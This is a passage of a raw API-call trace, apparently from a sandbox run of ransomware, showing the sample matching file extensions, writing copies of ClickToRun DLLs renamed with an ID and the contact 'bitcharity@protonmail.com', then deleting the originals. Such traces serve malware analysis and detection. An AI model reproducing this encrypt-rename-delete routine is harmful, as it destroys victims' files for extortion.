lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.601] lstrlenW (lpString=".docx") returned 5 [0154.601] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.601] lstrlenW (lpString=".pdf") returned 4 [0154.601] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.601] lstrlenW (lpString=".xls") returned 4 [0154.601] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.601] lstrlenW (lpString=".xlsx") returned 5 [0154.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.601] lstrlenW (lpString=".ppt") returned 4 [0154.601] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.602] lstrlenW (lpString=".zip") returned 4 [0154.602] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.602] lstrlenW (lpString=".rar") returned 4 [0154.602] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.602] lstrlenW (lpString=".bz2") returned 4 [0154.602] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.602] lstrlenW (lpString=".7z") returned 3 [0154.602] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.602] lstrlenW (lpString=".dbf") returned 4 [0154.602] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.602] lstrlenW (lpString=".1cd") returned 4 [0154.602] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.602] lstrlenW (lpString=".jpg") returned 4 [0154.602] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.603] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.603] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0154.604] GetLastError () returned 0x0 [0154.604] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0155.280] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0155.281] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.282] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x116, lpOverlapped=0x0) returned 1 [0155.282] SetEndOfFile (hFile=0x108c) returned 1 [0155.282] CloseHandle (hObject=0x108c) returned 1 [0155.285] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.285] SetEndOfFile (hFile=0x10d8) returned 1 [0155.286] CloseHandle (hObject=0x10d8) returned 1 [0155.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.287] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.307] lstrlenW (lpString=".doc") returned 4 [0155.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.307] lstrlenW (lpString=".docx") returned 5 [0155.307] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.307] lstrlenW (lpString=".pdf") returned 4 [0155.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.307] lstrlenW (lpString=".xls") returned 4 [0155.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.308] lstrlenW (lpString=".xlsx") returned 5 [0155.308] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.308] lstrlenW (lpString=".ppt") returned 4 [0155.308] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.308] lstrlenW (lpString=".zip") returned 4 [0155.308] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.308] lstrlenW (lpString=".rar") returned 4 [0155.308] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.308] lstrlenW (lpString=".bz2") returned 4 [0155.308] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.308] lstrlenW (lpString=".7z") returned 3 [0155.308] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.308] lstrlenW (lpString=".dbf") returned 4 [0155.308] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.308] lstrlenW (lpString=".1cd") returned 4 [0155.308] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0155.308] lstrlenW (lpString=".jpg") returned 4 [0155.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.309] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.309] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0155.309] GetLastError () returned 0x0 [0155.309] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0155.437] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0155.439] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.439] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x114, lpOverlapped=0x0) returned 1 [0155.439] SetEndOfFile (hFile=0x108c) returned 1 [0155.439] CloseHandle (hObject=0x108c) returned 1 [0155.441] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.441] SetEndOfFile (hFile=0x10d8) returned 1 [0155.443] CloseHandle (hObject=0x10d8) returned 1 [0155.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.443] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.444] lstrlenW (lpString=".doc") returned 4 [0155.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.444] lstrlenW (lpString=".docx") returned 5 [0155.444] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.444] lstrlenW (lpString=".pdf") returned 4 [0155.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.444] lstrlenW (lpString=".xls") returned 4 [0155.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.444] lstrlenW (lpString=".xlsx") returned 5 [0155.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.444] lstrlenW (lpString=".ppt") returned 4 [0155.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.444] lstrlenW (lpString=".zip") returned 4 [0155.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.445] lstrlenW (lpString=".rar") returned 4 [0155.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.445] lstrlenW (lpString=".bz2") returned 4 [0155.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.445] lstrlenW (lpString=".7z") returned 3 [0155.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.445] lstrlenW (lpString=".dbf") returned 4 [0155.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.445] lstrlenW (lpString=".1cd") returned 4 [0155.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0155.445] lstrlenW (lpString=".jpg") returned 4 [0155.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.456] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.456] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0155.457] GetLastError () returned 0x0 [0155.457] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0155.533] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0155.535] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.535] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x110, lpOverlapped=0x0) returned 1 [0155.535] SetEndOfFile (hFile=0x108c) returned 1 [0155.535] CloseHandle (hObject=0x108c) returned 1 [0155.541] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.541] SetEndOfFile (hFile=0x10d8) returned 1 [0155.543] CloseHandle (hObject=0x10d8) returned 1 [0155.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.544] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0155.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.546] lstrlenW (lpString=".doc") returned 4 [0155.546] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString=".docx") returned 5 [0155.546] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.546] lstrlenW (lpString=".pdf") returned 4 [0155.546] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString=".xls") returned 4 [0155.546] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString=".xlsx") returned 5 [0155.546] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.546] lstrlenW (lpString=".ppt") returned 4 [0155.546] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.546] lstrlenW (lpString=".zip") returned 4 [0155.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString=".rar") returned 4 [0155.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.546] lstrlenW (lpString=".bz2") returned 4 [0155.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.546] lstrlenW (lpString=".7z") returned 3 [0155.546] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.546] lstrlenW (lpString=".dbf") returned 4 [0155.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.546] lstrlenW (lpString=".1cd") returned 4 [0155.547] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0155.547] lstrlenW (lpString=".jpg") returned 4 [0155.547] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.547] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.547] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0155.548] GetLastError () returned 0x0 [0155.548] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0155.600] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0155.602] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.602] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11a, lpOverlapped=0x0) returned 1 [0155.602] SetEndOfFile (hFile=0x108c) returned 1 [0155.602] CloseHandle (hObject=0x108c) returned 1 [0155.617] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.617] SetEndOfFile (hFile=0x10d8) returned 1 [0155.618] CloseHandle (hObject=0x10d8) returned 1 [0155.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.619] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0155.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.619] lstrlenW (lpString=".doc") returned 4 [0155.619] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.619] lstrlenW (lpString=".docx") returned 5 [0155.619] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.619] lstrlenW (lpString=".pdf") returned 4 [0155.619] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.619] lstrlenW (lpString=".xls") returned 4 [0155.619] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.619] lstrlenW (lpString=".xlsx") returned 5 [0155.619] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.619] lstrlenW (lpString=".ppt") returned 4 [0155.619] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.619] lstrlenW (lpString=".zip") returned 4 [0155.620] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.620] lstrlenW (lpString=".rar") returned 4 [0155.620] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.620] lstrlenW (lpString=".bz2") returned 4 [0155.620] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.620] lstrlenW (lpString=".7z") returned 3 [0155.620] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.620] lstrlenW (lpString=".dbf") returned 4 [0155.620] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.620] lstrlenW (lpString=".1cd") returned 4 [0155.620] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0155.620] lstrlenW (lpString=".jpg") returned 4 [0155.620] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.620] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.620] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0155.621] GetLastError () returned 0x0 [0155.621] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0155.679] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0155.681] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.681] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x116, lpOverlapped=0x0) returned 1 [0155.681] SetEndOfFile (hFile=0x108c) returned 1 [0155.682] CloseHandle (hObject=0x108c) returned 1 [0155.696] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.696] SetEndOfFile (hFile=0x10d8) returned 1 [0155.698] CloseHandle (hObject=0x10d8) returned 1 [0155.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.698] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0155.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.699] lstrlenW (lpString=".doc") returned 4 [0155.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.699] lstrlenW (lpString=".docx") returned 5 [0155.699] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.699] lstrlenW (lpString=".pdf") returned 4 [0155.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.699] lstrlenW (lpString=".xls") returned 4 [0155.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.699] lstrlenW (lpString=".xlsx") returned 5 [0155.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.700] lstrlenW (lpString=".ppt") returned 4 [0155.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0155.700] lstrlenW (lpString=".zip") returned 4 [0155.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.700] lstrlenW (lpString=".rar") returned 4 [0155.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.700] lstrlenW (lpString=".bz2") returned 4 [0155.700] lstrcmpiW (lpString1=".bz2", 